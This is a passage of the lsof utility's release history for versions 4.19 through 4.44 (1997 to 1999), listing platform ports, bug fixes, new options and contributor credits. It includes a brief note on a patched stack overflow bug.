October 30, 1997 Changed Pyramid Reliant RM600 proc scan to skip SSYS (p_flag) processes, since they don't seem to have a readable u_cdir vnode. Enabled Pyramid Reliant UNIX kread() work-around for DC/OSx, too, since its read(/dev/kmem) kernel driver seems to share the page boundary bug this work-around circumvents. Changed SzOffFtm_d and SzOffFtm_dv (new formats at 4.18 to print size and offset) from signed to unsigned. Setting them signed at 4.18 was an oversight. Plugged a memory leak that caused the loss of 130 bytes per repeat-mode pass. Fixed it with a simple work-around in main(). Lionel Cons <Lionel.Cons@cern.ch> reported the leak. 4.20 November 11, 1997 Tested under BSDI 3.1. Added support for Reliant UNIX Mesh IPC files with help from Billy Ho <bho@pyramid.com>. Added support to Digital UNIX lsof that uses the libmsfs tag_to_path() function (when it exists) to look up AdvFS path names. The idea and sample code came from Dean Brock <brock@cs.unca.edu>. Converted Dean's code into more general purpose support for private name cache lookups via the HASPRIVNMCACHE #define in the dialect machine.h file and code conditional on it in the printname() function. Taught Digital UNIX lsof to recognize NFS3 file systems. Corrected Digital UNIX lsof DEVICE column alignment. 4.21 December 1, 1997 Squashed bug, introduced at revision 4.18, that resulted in double reporting of each selected PID when terse mode (-t) was specified. Corrected minor bug, also introduced at 4.18, that might cause an extra print_proc() pass when one PID has been specified. Added -R to lsof options in scripts/idrlogin.perl*. The option should have been there -- it was supposed to be mandatory for PGID reporting -- but a bug, corrected in revision 4.18, previously made -R unnecessary. Enabled configuring for BSDI BSD/OS 4.0 per a suggestion from Jeff Honig <jch@bsdi.com>. Enabled replacement of scoff_t with off64_t (scoff_t is used to type r_size and r_localsize in the rnode struct) for IRIX 5.3 systems that have the NFS kernel rollup patch (1477). This compensates for SGI's failure to distribute an updated <sys/fs/rnode.h> with their patch. Validated under Linux 2.0.3[12], Linux 2.1.64, and NetBSD 1.3. Added FreeBSD root directory reporting, courtesy of Dan Nelson <dnelson@emsphone.com>. 4.22 December 15, 1997 Made adjustments for Linux 2.1.7[02]. Improved NAME information for Linux UNIX domain sockets. Added option +|-M to control the reporting of portmapper registration information in square brackets after the TCP or UDP port or service name. Kenneth Stailey <kstailey@disclosure.com> suggested the feature and provided sample code from OpenBSD. Reporting is disabled by default in the distribution and may be enabled with +M; if lsof is compiled with HASPMAPENABLED (e.g., from machine.h), reporting will be enabled by default and can be disabled with -M. Changed the -w option to +|-w to match the syntax of the +|-M option and to eliminate any options that flip meaning when a symbol is defined at compile time. For both +|-M and +|-w, specifying `-' when the default state is disabled or specifying `+' when the default state is enabled causes no problems. !!!WARNING The -w option has changed in lsof 4.22. WARNING!!! Made the +|- prefix legal for most options, but didn't document it in the man page or help panel. Most options that disable something -- e.g., -b, -C, -n, -P -- now disable when the prefix is `-' and enable when it is `+'. Since the states these options disable are enabled by default, I chose to avoid documentation complexity and confusion by not mentioning that they can be used with the `+' prefix. Condensed the help panel. Made sure Digital UNIX Configure stanza puts normal include path (e.g., /usr/include) before system include paths. Added IPX socket information reporting to Linux with help from Jonathan Sergent <sergent@purdue.edu>. 4.23 January 16, 1998 Fixed conflict arising from the quondam replacement of the Sun Solaris <netdb.h> with a BIND/BSD version. With help from Jonathan Sergent <sergent@purdue.edu> developed a /proc file system based Linux lsof. It needs some Linux 2.1.x release to work -- I'm not sure which, but I tested under 2.1.72, 2.1.76, and 2.1.79. The Configure script selects special sources for this lsof, so the full lsof distribution now contains both /dev/kmem and /proc based sources for Linux lsof. An optional kernel mod, written by Jonathan, enhances the /proc-based lsof ability to recognize IPX socket files. Reorganized and augmented the Linux sections in 00FAQ to explain the two types of Linux lsof. Defined DOSTAT_FUNCTION for dostat() in misc.c to select the function, stat() or lstat(), it will use. DOSTAT_FUNCTION is normally undefined, defaults to lstat(), and is only defined for the /proc-based Linux lsof in its dlsof.h. Made conditional on the presence of IRIX 6.4 XFS rollup patch #6 an XFS node change introduced in revision 4.16. Identified the patch with help from John R. Vanderpool <fish@daacdev1.gsfc.nasa.gov>. Added NFS node compensation for NetBSD 1.3. The code and suggestion for it was supplied by Jean-Luc Richier <richier@imag.fr>. Added diagnostic messages to the /dev/kmem-based Linux Mksrc script to report errors during the construction of the kernel name cache header file, kncache.h. Added 00FAQ information on kncache.h. Added a new Linux test host, running 2.0.33 and GlibC, provided by Steve Logue <stevel@mail.cdsnet.net>. Ported to PTX 4.1.3 and 4.4.2. Adjusted lib/rnch.c for 4.4.2 to allow customization f additional ncache struct element names. 4.24 January 28, 1998 Changed /proc-based Linux lsof offset test to use "/" instead of "/etc/passwd". To assist Jim Mintha <jim@geog.ubc.ca> with the packaging of lsof for Debian Linux, added a DEBIAN_LINUX_LSOF #define to trigger the activation of special system map file location code in the /dev/kmem-based dproc.c. Applied modification to dialects/bsdi/dlsof.h from Ingimar Robertson <iar@skyrr.is>, enabling lsof to compile for BSDI BSD/OS 2.0. Corrected a documentation error in 00DCACHE, pointed out by Thomas Anders <anders@hmi.de>. The error was created when the -V option was added at lsof 4.17. Made IRIX 5.3 through 6.3 lsof aware of IRIX SCSI tape devices (e.g., /dev/tape). Dave Olson of SGI and Randolph J. Herber of FNAL provided valuable advice, and Igor Schein <ischein@air-boston.com> helped test. Added a machine.h symbol (NEVER_HASDCACHE) that prevents Customize from offering to change HASDCACHE. The symbol may appear anywhere in machine.h -- e.g., in a comment. Included the symbol in a comment of the HASDCACHE section of the /proc-based Linux lsof machine.h, and accompanied it with warnings against #define'ing HASDCACHE. Did the same thing for WARNDEVACCESS (NEVER_WARNDEVACCESS is the suppressant.) 4.25 February 7, 1998 Corrected an IRIX mis-cast of file offset (position). Igor Schein <ischein@air-boston.com> reported the problem. This was offered as a patch to 4.24. Picked some lint Igor pointed out. At Igor's suggestion added an optional decimal digit size argument to the -o option. This argument specifies how many file offset decimal digits can follow "0t" before lsof switches to a "0x..." form. The argument size specification doesn't count the two characters of the "0t". A size of 0 means unlimited. The default is OFFDECDIG (8), preserving compatibility with existing lsof output; it can be changed by the lsof builder. When size is specified with -o it does not force offset display; -o without a size still must be used to do that. Added an IRIX 6.2, 32 bit system, XFS node patch, courtesy of Ulrich Bernhard <rzubu@rzu.unizh.ch>. For my own convenience enabled Configure to use /usr/local/bin/gcc for NEXTSTEP. This allows circumvention of a gcc 2.8.0 ranlib problem on my test 3.1 `040 cube. Added flags recommended by the RISC/os and Ultrix compilers for the updated (and longer) main.c. Updated FreeBSD cd9660_node.h Configure test. 4.26 February 17, 1998 Added shared process group processing for IRIX 5.3, and IRIX 6.1 and above, based on investigation of a bug report from Igor Schein <ischein@air-boston.com>. Igor helped test this addition. Improved handling of file system name arguments. It's now done in a manner similar to fuser. The -f argument forces path names to be considered as simple files, rather than as file system names. The +f flag forces them to be considered as file system names. Normally path arguments are considered file system names when they match a mounted-on directory in the system's mount table, or when they match a mounted file system's block device. Igor Schein helped test this change. Igor also suggests that the proper compilation of the IRIX 6.4 proc structure after patch 2536 has been installed may need -DPIOMEMOPS. So lsof's MkKernOpts script was updated to propagate that option from CCOPTS in /var/sysgen/system/irix.sm, even though patch 2536 doesn't add -DPIOMEMOPS to it. Added a 00FAQ item on this patch. Added a fatal warning message about names forced to be file system names (with +f) that have no match in the mount table. Improved the -V message for files and file systems for which no open files were found. Added reporting of /proc file and file system search failures. Did some code reorganization to combine the multiple ck_file_arg() functions into one. Moved the new function from the library to the top level and put it in arg.c; moved the usage function from arg.c to a new top-level source file, usage.c, to balance top-level source file size. The new usage.c depends on version.h; arg.c no longer does. Added flag recommended by the DU compiler for the updated (and longer) main.c. 4.27 March 6, 1998 At the request of Igor Schein <ischein@air-boston.com> added a conditional repeat mode option, using the `+' prefix to the `r' option. +r operates as does -r with the exception that it exits the first time no open files have been listed during a cycle. The exit code will be zero when any open files have been listed; one, if none were ever listed. Ported lsof to HP-UX 11.0 with the help of Richard Allen. This port hasn't been tested on a 64 bit kernel; I'm sure it won't work there without more mods. It may not work on PA 2 architectures; I've only tested it under PA 1 and a separate, busy tester reported PA 2 problems that I've been unable to investigate. In anticipation of getting access to a 64 bit HP-UX kernel and the pending start of the Solaris 2.7 Beta test (It will have 64 bit kernel addressing.), started adding support for 64 bit kernel pointers. This includes: ubiquitous use of the KA_T cast for kernel pointers; a format to print them, KA_T_FMT_X; a function to print them, print_kptr(); and modifications to most kernel-related functions -- e.g., process_file(), process_node(), process_socket(), readvfs() -- to process kernel addresses as KA_T types. Fixed minor bug in handling path name arguments that end with a `/'. Removed support for RISC/os; its test system is no longer available. Made modifications to insure that lsof output doesn't contain non-printable characters. All such characters are now printed in the printf form "\x%02x". Several new common functions were installed in misc.c to support "safe" printing. This second major modification in 4.27 to common and dialect code could have introduced bugs not yet detected. 4.28 March 10, 1998 Refined unprintable format to use \b, \f, \r, \n, \t, and ^* (for CTRL) forms. Corrected omission of safestrprt() use for field output command name. These changes were offered as patches to 4.27. Made space an unprintable character (\x20) in the COMMAND column; printable elsewhere, including the NAME column, field output, and error messages. Made sure FD column is parseable as a single entity -- i.e., has no embedded space. Thus, if the access mode is unknown but there is a known lock mode, (a very rare case) the access mode will be printed as `-'. Picked lint with gcc 2.8.0 under Solaris 2.6. With the help of Dave Olson of SGI identified a proc struct element that should have been added to <sys/proc.h> by IRIX 6.4 patch 2536. Added a work-around for it to the lsof Configure script. Igor Schein <ischein@air-boston.com> identified that the patch caused a proc structure length complaint from lsof. Removed an obsolete 00FAQ item on the patch, installed at lsof 4.26, explaining that no solution was yet available. Added a 00FAQ item on how BIND installs its own header files, including <netdb.h>, which may cause the rpcent struct definition to vanish. Solaris has an automatic lsof work-around, but that hasn't been (and probably can't be) propagated to all dialects supported by lsof. The 00FAQ item recommends re-installation of the vendor header files that BIND has replaced. (Others include <rpcent.h>, <sys/bitypes.h>, and <sys/ctypes.h>.) Made AIX AFS fixes. 4.29 March 26, 1998 Corrected bug in Internet address matching. The matching formerly stopped if the foreign address matched, thus failing to check the local address for a match. That led to a possible false "Internet address not located" warning (i.e., in response to -V) about the local address, when both foreign and local addresses were specified with -i. This correction was offered as a patch to 4.28. Changed readmnt() usage in an attempt to defer mount readlink() and stat() delays until they are necessary. Corrected two bugs in the Digital UNIX readdev() function. Made the correction available as a patch to 4.28 and regenerated the 4.28 DU binaries. Added a missing argument to a print-kptr() call in the HP-UX dsock.c. The missing argument causes a fatal gcc error. The problem was reported by Eyal Shaynis <eyal.shaynis@telrad.co.il>. The fix was offered as a 4.28 patch. Adjusted for Digital UNIX 4.0D; the spec_node structure is now defined in <sys/specdev.h>. Kris Chandrasekhar <Kris.Chandrasekhar@digital.com> identified the need for the adjustment. Incorporated a bug fix from Brian McAllister <mcallister@mit.edu> to the DU readmnt() function. This fix was offered as a patch to 4.28. Added "safe" printing to a SunOS clone device error message. Corrected bug in tabling of Linux /proc-based lock info. Corrected bug in handling of SunOS TLI streams. Dan Farmer <zen@trouble.org> reported the problem. Added a Solaris 2.6 work-around to keep the BIND <sys/bitypes.h> from colliding with the Solaris <sys/int_types.h>. Strengthened the Configure test for /proc-based Linux lsof, based on a report from Marty Leisner <leisner@sdsp.mc.xerox.com>. Tested on OpenBSD 2.3. Made AIX changes that allow use with 3.2.5. The changes were suggested and tested by Brett Hogden <hogden@rge.com>. Added Solaris 2.6 AFS support. Disabled reporting of some node numbers for Solaris 2.5 and above open AFS files. The node number computation algorithms used for SunOS 4.1.x and Solaris less than 2.5 no longer always work under Solaris 2.5 and above. 4.30 April 9, 1998 Corrected a pid structure member naming error for UnixWare < 2.1.2. The problem was reported by Richard van Meurs <vanmeurs.anva@atriserv.nl>. He supplied the correction. This was offered as a patch to 4.29. Had a report from Igor Schein <ischein@air-boston.com> that IRIX 6.4 patch 2839 is another SGI kernel patch, along with 2536, that changes the size of the proc structure in the kernel without changing the proc structure in <sys/proc.h>. Upon further investigation found that the effect of these patches on the proc structure is not consistent. Therefore, dropped the Configure patch test for IRIX 6.4 and made the code in irix/dproc.c slightly more tolerant of proc structure size differences for IRIX 6.4. Igor help test the change. Corrected Solaris >= 2.5 AFS inode number generation. Craig Everhart <Craig_Everhart@transarc.com> helped find the cause of the problem. This was offered as a patch to 4.29. Refined the Linux /dev/kmem-based glibc evasion for the timeval structure to make it work with glibc version 2.0.7. This required defining a new global symbol, TIMEVAL_LSOF, default timeval, that the /dev/kmem-based Linux lsof can set to its private glibc timeval name, distinct from the kernel timeval name. Added support for Alpha to the /dev/kmem-based Linux lsof. Alexandre Oliva <oliva@dcc.unicamp.br> provided a test system. Added an item to 00FAQ about lsof, the Alpha processor, and Linux. Added a 00FAQ item about lsof year 2000 compliance. Basically it says lsof is probably compliant, because its only date or time computations are done with time_t values, but I haven't done any specific Y2K validation. I don't have plans to do any. Added support for UnixWare 7. Chris Daniels <chrisd@dlpco.com> provided a test system and Don Draper <dond@sco.COM> provided technical information. Added BFS and SFS file system support to lsof for UW 2.1.[12] and 7. Updated Solaris VxFS support for VxFS 3.2.1. Greg Earle <earle@netbsd4me.jpl.nasa.gov> reported the need for the update. Greg and Roger Klorese <rogerk@veritas.com> provided technical information. Scott McClung <mcclung@primenet.com> tested. Changed IRIX XFS patch detection in anticipation of learning there are multiple XFS patches for IRIX 6.4 that require different versions of the lsof-invented xfs_inode structure. 4.31 April 21, 1998 Added a VxFS #if/#endif wrap to a section of the HP-UX dnode.c that wasn't properly protected. The problem was reported by Peter Klosky <PKlosky@bdm.com>. This was offered as a patch to 4.30. Added support for Solaris 2.7 (first Beta release). Mike Sullivan <Mike.Sullivan@Eng.Sun.COM> provided technical advice and helped test. Charles Stephens <cfs@jurassic.eng.Sun.COM> also helped test. Fixed bug in /proc-based Linux that caused it to access /proc/mounts excessively. Marty Leisner <leisner@sdsp.mc.xerox.com> provided a syscall trace that identified the bug. The fix was offered as a patch to 4.30. Adjusted the IRIX 6.4 private structure definition for the XFS node to accommodate patch 2970. Igor Schein <ischein@air-boston.com> identified the patch and the required adjustment. 4.32 May 11, 1998 Corrected Solaris 2.7 code for reporting PCFS (floppy disk) node numbers. Casper Dik <casper@holland.sun.com> supplied the fix. The fix was offered as a patch to 4.31. Corrected a bug in conditional repeat mode handling pointed out by Igor Schein <ischein@air-boston.com>. This was offered as a patch to 4.31. Improved reporting of AIX open(/dev/memory device) errors. Corrected a Solaris < 2.5 KA_T declaration error, pointed out by Robert Kiessling <robert@easynet.de>. Changed KA_T from a #define to a typedef for all dialects to prevent future problems of this kind. Changed the sample Perl 5 script big_brother.perl5 to report a four digit year from localtime(). Added support for AIX 4.3[.1]. Bill Pemberton <wfp5p@tigger.itc.virginia.edu> provided a test system. Andrew Kephart <akephart@austin.ibm.com> and Tom Weaver <tvweaver@austin.ibm.com> provided technical assistance. Niklas Edmundsson <nikke@ing.umu.se> did 4.3.1 testing. Added -qmaxmem option to CFLAGs for an AIX compilation with an xlc version 4.x compiler. Adjusted Linux socket handling for changes in the AX25 members of the sock struct. Richard Green <rtg@tir.com> pointed out the problem. Tested /dev/kmem-based lsof under Linux 2.0.34. 4.33 May 22, 1998 Added generic IPv6 support to common lsof sources and specific IPv6 support to AIX sources. Andrew Kephart <akephart@austin.ibm.com> supplied the additions and helped with testing. Bill Pemberton <wfp5p@tigger.itc.virginia.edu> provided a test system. The modification affected sources for every dialect, whether it supports IPv6 or not, by changing the interfaces to the common Internet address function ent_inaddr(). Added support for the NetBSD UVM virtual memory system. Paul Kranenburg <pk@cs.few.eur.nl> supplied technical details. Bracketed HP-UX 11 use of <sys/spinlock.h> with #if/#endif _KERNEL. Corrected printing of PCB address in DEVICE column for IRIX. 4.34 June 26, 1998 Updated 00FAQ to discuss TCP and UDP ports private to the AIX kernel and 00README to describe how ACLs can be used to give lsof permission to read the kernel memory devices. Add information to 00FAQ and 00README about other OpenBSD architectures where lsof is reported to compile and run. Added section to 00FAQ discussing how an incorrect loader path environment variable value can prevent lsof from loading correctly. Improved Solaris namefs and doorfs support so that it is now possible to search for an open VDOOR file by the path name of its fattached file system object. Igor Schein <igor@txc.com> requested the ability to do such a search. Even with the change, lsof can't always identify path names for open VDOOR files. Also at Igor's request, improved reporting of information on open Solaris VCHR files that share a common vnode, and Solaris UNIX domain socket files. Corrected print_kptr() argument error in PTX dnode.c, reported by Mark Price <mprice@sequent.com>. Compensated for ncache element naming differences, introduced at PTX 4.4.2; Kurtis D. Rader <krader@sequent.com> reported the problem. Changed output column title from INODE to NODE to better reflect the column's contents of node IDs for more than just inodes. Improved Configuration and processing for Solaris AFS. Corrected AIX AFS 3.4 afs_rwlock_t simulation. Corrected a cast problem with two AIX knlist() calls, thus quieting an AIX 4.2.1 compiler argument type warning. Jon Champlin <champlin@us.ibm.com> reported the problem. Added support to most dialect versions (exception: /proc-based Linux) to warn when the identity of the kernel where lsof was compiled doesn't match the running identity. The warning can be suppressed with -w. Note: determining AIX state requires calling oslevel, a potentially slow operation. Jon Champlin <champlin@us.ibm.com> suggested this addition. !!!! WARNING !!!! !!!! WARNING !!!! !!!! WARNING !!!! Those using the lsof cross-configuration capability (see 00XCONFIG), should be aware that the kernel identity test feature introduces two new basic cross configuration environment variables, LSOF_ARCH and LSOF_VSTR. !!!! WARNING !!!! !!!! WARNING !!!! !!!! WARNING !!!! Identified a situation where a Solaris UNIX domain socket name is known and can be searched for by name; added the necessary code. 4.35 July 17, 1998 Made the kernel identity check an option with the HASKERNIDCK #define in machine.h. Enabled altering of HASKERNIDCK with the Customize script. Added a clause to the help output that indicates the build-time HASKERNIDCK status. Added more information to the NAME column for Solaris UNIX domain sockets. Made them searchable by their clone device path name. Igor Schein <igor@txc.com> requested this. Completed the HP-UX 11 port with support for its optional 64 bit kernel. Rich Rauenzahn <rrauenza@cup.hp.com> provided a test system. Corrected errors with HP-UX 11 lock reporting and private kernel structure and type definitions. Added support for HP-UX NFS3 files. Limited mount table warnings -- e.g., when -b is used -- to one set per mount point. Fixed some mount table scanning and usage bugs, including one in Solaris, reported by Kjetil Torgrim Homme <kjetilho@ifi.uio.no>. 4.36 August 4, 1998 Made corrections and additions to IPv6 support and to AF_ROUTE socket handling, supplied by Jean-Luc Richier <Jean-Luc.Richier@imag.fr>. Jean-Luc's additions provide IPv6 support for the Inria IPv6 implementations on FreeBSD and NetBSD. Fixed two Solaris 2.5, 2.5.1, 2.6 and 2.7 TCP and UDP host name or IP address reporting bugs, reported by James Mathiesen <James-Mathiesen@deshaw.com>. This fix was offered as a patch to 4.35. Updated the Customize script to cause ENTER to use all defaults. Amir J. Katz <amir@ndsoft.com> suggested this and helped test the changes. Updated Solaris ICMP and IP stream handling, based on a report from Igor Schein <igor@txc.com>. Fixed a bug in the Digital UNIX mount table handling, reported by Bob Ward <bward@thehartford.com>. While working on the bug, found and updated some obsolete AdvFS code. This fix was offered as a patch to 4.35. 4.37 September 15, 1998 Deactivated SGI IRIX support and archived revision 4.36 sources and binaries in pub/tools/unix/lsof/OLD. Improved performance of FD searching. This was offered as a patch to 4.36. Amir J. Katz <amir@ndsoft.com> pointed out that ranlib isn't needed for AIX or Solaris. Made appropriate Configure script changes. Fixed a file offset reporting bug for HP-UX VCHR and VBLK device nodes located on a VxFS root. Doug Siebert <douglas-siebert@iowa.edu> reported the bug. The fix was offered as a patch to 4.36. Resolved an HP-UX root device name reporting bug, partly caused by an out-dated local copy of the <sys/mount.h> mount structure, by generating a local header file with the structure that can be compiled without needing _KERNEL defined. Doug Siebert also reported this bug. Changed some dialect source code -- Digital UNIX, Solaris, SunOS, and UnixWare -- to make more consistent with ps the user ID lsof reports in the USER column. Added a 00FAQ entry about it. Igor Schein <igor@txc.com> reported the Solaris and SunOS lsof inconsistencies with what ps(1) reports. Ported lsof to Pyramid ReliantUNIX 5.44. Added brackets as comments to case, do, done, else, endif, esac, if, and while statements in Configure to assist in navigating its clauses. Added more Linux 2.0.x glibc work-arounds. Added support for UnixWare 7.0.1. Ralph Forsythe <ralph@contact-paging.com> provided a new FreeBSD test system. 4.38 November 25, 1998 Added support for recent FreeBSD 3.0 distributions. A 3.0 test system was provided by David O'Brien <obrien@NUXI.com>. This was offered as a patch to 4.37. Updated the scripts/idrlogin.perl* files to look for sshd processes in addition to rlogind and telnetd ones. Added support for DU 5.0 Beta. Berkley Shands <berkley@cs.wustl.edu> provided a test system. Added support for OpenBSD 2.4 with changes supplied by Kenneth Stailey <kstailey@disclosure.com>. Changed the Solaris 2.7 tests and documentation to Solaris 7. Made some changes to the header files for NEXTSTEP 3.3 and added support for OPENSTEP 4.x with help from Michael A. Hovan III <mhovan@BLaCKSMITH.com> and Carl Lindberg <Carl_Lindberg@BLaCKSMITH.com>. The combined dialect subdirectory is named n+os. One of Carl's changes propagates RC_CFLAGS to the library Makefile. Timothy J. Luoma <luomat@peak.org> helped test under NEXTSTEP 3.3 and OPENSTEP 4.2. Made UW 7.x version sensitive to the presence of ptf7038. Added peer PCB address to Unix domain socket Name column, even when a path name has been located. Information for these changes was supplied by Francis Le Bourse <flebourse@intelcom.fr>. Lee Penn <lee@dlpco.com> provided a test system. Tested lsof under OSR 5.0.5 on a test system also provided by Lee Penn. Made path name argument processing more tolerant of errors per a suggestion from Julian Gordon <julian@cadence.com>. Acquired a new UnixWare 2.x test system, generously provided by Computer Classroom, Inc. -- Matthew Thurmaier <matt@compclass.com>, Ken Laing <ken@compclass.com>, and Andrew Merril <andrew@compclass.com>. Updated Configure to accept a UnixWare version of 2.1.3. Updated kmem-based lsof for Linux 2.0.36. Updated NetBSD sources for a change in a UVM virtual mapping header file. Corrected a cache allocation bug in Sun format kernel name cache handling. The bug only shows up when the kernel name cache is inaccessible. 4.39 December 29, 1998 Corrected problems with large device number handling for 64 bit Solaris 7. The problems were reported by Steve Bellenot <bellenot@math.fsu.edu>. Steve helped test the fixes. The fixes were offered as two patches to lsof 4.38. Improved FreeBSD Configure operations for header files that must be obtained from the kernel source tree, based on a suggestion from David O'Brien <obrien@NUXI.com>. For Bela Lubkin <filbo@deepthought.armory.com> made optional with +f[cfn] the display of file structure address, shared use count, and node structure address. /proc-based Linux doesn't implement this feature, because it doesn't read kernel structures from kernel memory. Modified the PTX -X option to take advantage of the new file structure display option. Added shared.perl5 to the scripts/ subdirectory to provide an example of how +f[fn] might be used to track shared file descriptors and files. Added more /dev/kmem-based Linux glibc evasions, provided by Jeff Johnson <jbj@redhat.com> and Maciej Lesniewski <nimir@kis.p.lodz.pl>. Jeff helped test them on various Linux architectures. Tested on AIX 4.3.2; no changes were required. Doug Crabill <dgc@purdue.edu> provided a test system. Fixed -c option to detect missing command name when following option begins with `+'. 4.40 January 25, 1999 Added support for using the CDS compiler for Reliant Unix 5.44 and above. Made Reliant Unix MIPC support optional, dependent on the presence of <sys/mipc.h>. Based on a report from Michael Schmitz <MSchmitz@lbl.gov> that /dev/kmem-based lsof misbehaves on a Linux 2.0.x m68k kernel without module support, made the absence of query_module() or get_kernel_syms() Linux kernel support a fatal error. Updated relevant sections of 00FAQ to reflect the change. Added the ability to force the Linux Configure stanza to use the /proc or /dev/kmem source base via a LINUX_BASE environment variable specification. This is a cross-configuration assist. Added "+D <dir>" and "+d <dir>" options for directory searching. +D searches the entire tree, starting at <dir>, including <dir>, its contents, and its subdirectory branches; +d searches only <dir> and its contents, but not its subdirectory branches. Improved lsof's searching of the specified name list to compensate for anticipated long lists from +d and +D. Made an egrep in the Solaris Configure stanza usable by the standard and XPG4 egrep's. Kenneth Stailey <kstailey@disclosure.com> pointed out the improvement. Fixed bugs in /dev/kmem-based Linux and UnixWare Unix domain socket name searching. Changed a Linux Alpha #include to be conditional on the presence of its named header file, so that lsof will compile on Red Hat 5.1 and 5.2 (Linux kernel 2.0.35) where the header file is absent. The problem was reported by Alexandre Oliva <oliva@dcc.unicamp.br>. Fixed an AIX 4.3+ bug in procinfo struct space allocation, reported by Jeff Stewart <jws@purdue.edu>. This was offered as a patch to 4.39. Added an lstatsafely() function to offer the same isolation for lstat() calls that statsafely() offers for stat() calls. This made DOSTAT_FUNCTION no longer necessary, so deleted it. With help from Laurent P. Montaron <lpm@sequent.com> ported lsof to PTX 4.4.4. Laurent did a monumental job of identifying TCP/IP changes by their TCP version, rather than by their PTX (With mix 'n match PTX and TCP/IP versions, the PTX version often has no bearing on the TCP/IP version.), and changed the Configure script and pre-processor #if/#else/#endif blocks to match. He also updated Unix domain socket handling for PTX TCP/IP versions 4.5 and above. Updated CLIENT handle acquisition of fill_portmap() in print.c to use the more modern RPC function clnt_create() in place of clnttcp_create() where possible. PTX 4.4.4 requires clnt_create(). 4.41 February 27, 1999 Added FreeBSD 3.1 and and 4.0 support with help from Sheldon Hearn <axl@iafrica.com>, David O'Brien <obrien@NUXI.com>, and John Polstra <jdp@polstra.com>. Corrected bungled AIX 4.3+ patch that went into lsof 4.40. Reorganized the Configure script to improve Makefile construction. A specific impetus for this was to allow FreeBSD system-wide make flags to be propagated to the lsof Makefiles, but other goals were to make sure that the DEBUG= make entry can over-ride standard CFLAGS values, and to better manage the identification of compilers and their versions. Two compiler-related values may now be supplied in environment variables: 1) the compiler path in LSOF_CC; and 2) the compiler version in LSOF_CCV. 00XCONFIG documents them. Added support for Pyramid Reliant Unix bsdsfs, msockfs, and sockfs file systems. Added an optional LSOF_CINFO string to Configure, producing a CINFO string in selected Makefiles, producing a #define LSOF_CINFO in selected version.h header files. The purpose of this is to allow Configure the option to propagate information to the lsof -v output. It is now used for Linux to identify the code base, and for HP-UX 10.30 and 11.0 and Solaris 7 to identify the kernel bit size. Added system information to NEXTSTEP and OPENSTEP -v output, from the second line of hostinfo's output. Fixed a login name buffer overflow problem in the processing of -u option values. This was offered as a patch to 4.40. !!!THIS IS A SERIOUS STACK OVERFLOW BUG; A LINUX EXPLOIT EXISTS FOR IT THAT OPENS A BASH SHELL WITH LSOF'S AUTHORITY -- E.G, SETGID(KMEM) POWER!!! Improved the Solaris mount table filter so the volume manager's fake mount point, "/vol", is ignored and doesn't supplant "/" in NAME column path assemblies. Igor Schein <igor@txc.com> reported this bug and provided important help in finding it. This was offered as a patch to 4.40. Changed the Linux /dev/kmem-based lock ownership test to answer a problem reported by Tom Christiansen <tchrist@jhereg.perl.com>. This was offered as a patch to 4.40. Installed an HP-UX 11 patch, suggested by Kevin Vajk <kvajk@cup.hp.com>, that adjusts a private lsof kernel header file, derived via Q4, to correspond to an HP-UX patch bundle. Made NetBSD 1.3I sockproto structure adjustment. 4.42 March 30, 1999 Fixed a typo in the HP-UX dfile.c that caused +fF and +fN output controls to swap effect. Enabled for OpenBSD 2.5 per notice from Kenneth Stailey <kstailey@kstailey.tzo.com> Made more VM accommodations for FreeBSD 4.0. Improved file system search reporting to include path name components when they're available, instead of mindlessly reporting the file system name in the NAME column. Guy Dallaire <gdallair@geocities.com> brought the need for this change to my attention. Updated Solaris 2.6 VxFS for Veritas Oracle Database Edition 2.0, VxFS version 3.3, and VxVm version 2.5.4, based on a report from Chris Kordish <chris.kordish@East.Sun.COM>. Chris kindly provided a test system. Improved HP-UX ipc_s patch detection in Configure, response in .../dialects/hpux/hpux11/ipc_s.h, and documentation in 00FAQ, Kevin Vajk <kvajk@cup.hp.com> helped test. Added to Customize the option to suppress HASKERNIDCK selection for specified dialects. Suppressed it for /proc-based Linux lsof, and removed its test and code from there. Tin Le <tin@netimages.com> alerted me to the need for this update. Ported to official Digital UNIX 5.0 release. Changed DU lsof to use the knlist(3) function when no kernel file has been specified with -k. This change was suggested by Erich Wimmer <Erich.Wimmer@digital.com>. Updated Configure for latest NetBSD (1.3I?) with UVM support the default. 4.43 May 11, 1999 Corrected a typo in the Solaris gcc discussion in 00FAQ. Made changes to the Solaris 2.5[.1] private tcp_s structure. Both changes were done in response to reports from Igor Schein <igor@txc.com>, who tested the Solaris 2.5 change. Made more IPv6 adjustments to lsof for Tru64 UNIX (Digital UNIX) 5.0, based on information obtained from Compaq by Berkley Shands <berkley@cs.wustl.edu>. Corrected HP-UX error message about HP-UX 11 q4 usage. Amir Katz <amir@ndsoft.com> reported the correction. Fixed a GlibC 2.1 conflict in /proc-based Linux lsof. Fixed a man page typo reported by Vlad Harchev <hvv@hippo.ru>. Changed some Solaris 2.7 references to Solaris 7 in Configure and 00XPORTING. Added a Solaris example to the echo statements that are the install rule in the SunOS/Solaris Makefile. Added a field to the file structure output -- FILE-FLAG (file structure open flags, f_flag[s], and process file flags, typically u_pofile)) -- enabled with +f[gG]. Its field output character is 'G'. Figured out another piece of the HP-UX 11 patched ipc_s structure puzzle with the help of Keith Kalet <KEITH_KALET@HP-USA-om41.om.hp.com>. Fixed a PTX real vnode to real inode interpretation bug. Added link count to lsof output. Eric Dumazet <dumazet@risgw.ris.fr> requested and helped test it. The new +L option enables and filters it. Its field output character is `k'. Updated Configure script to recognize NetBSD 1.4. Updated AFSConfig to handle default answers to questions. Incorporated patch from Jonathan Sergent <sergent@io.com> that enables /proc-based Linux lsof to run on both 32 and 64 bit kernels. Updated Configure script with a patch from David O'Brien <obrien@NUXI.com> that recognizes FreeBSD 3.2. 4.44 June 24, 1999 Corrected use of nlink member of hsnode for SunOS 4.1.x High Sierra File System files. John Dzubera <zube@tlaloc.stat.colostate.edu> reported the problem and helped test the fix. Also fixed a SunOS segmentation fault bug. These fixes were offered as a patch to 4.43. Improved handling of /proc-based Linux UNIX PCB address. Fixed a NEXTSTEP and OPENSTEP bug that made repeat option (-r) processing malfunction. This fix was offered as a patch to 4.43. Fixed Configure so it doesn't use -O in the Cflags for the bundled HP-UX C compiler. Jim Ankenbrandt <jankenbrandt@penton.com> reported the problem. Corrected output ordering of parent PID and process group ID when both -R and -g are specified. Enhanced the pdev.c and pdvn.c library modules for wider use. These dialect versions use the new library modules: DEC OSF/1, Digital UNIX, and Tru64 UNIX; Pyramid DC/OSx and Reliant UNIX; SCO OSR and UnixWare; and Sequent PTX. Added basic clone device support to /dev/kmem-based HP-UX lsof for HP-UX 10.30 and higher. Added raw socket support to /proc-based Linux 